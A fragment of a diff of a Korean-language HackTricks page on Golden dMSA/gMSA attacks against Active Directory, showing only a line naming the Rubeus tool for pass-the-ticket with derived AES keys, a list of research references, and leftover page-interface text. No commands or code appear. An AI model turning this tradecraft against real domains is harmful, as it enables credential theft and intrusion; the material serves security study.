||||
* [`Rubeus`](https://github.com/GhostPack/Rubeus) – 파스 더 티켓(pass-the-ticket)에서 파생된 AES 키 사용.
|
||||
|
||||
## 참고 문헌
|
||||
|
||||
- [Golden dMSA – 위임된 관리 서비스 계정에 대한 인증 우회](https://www.semperis.com/blog/golden-dmsa-what-is-dmsa-authentication-bypass/)
|
||||
- [Semperis/GoldenDMSA GitHub 리포지토리](https://github.com/Semperis/GoldenDMSA)
|
||||
- [Improsec – Golden gMSA 신뢰 공격](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
Loading…
x
Reference in New Issue
Block a user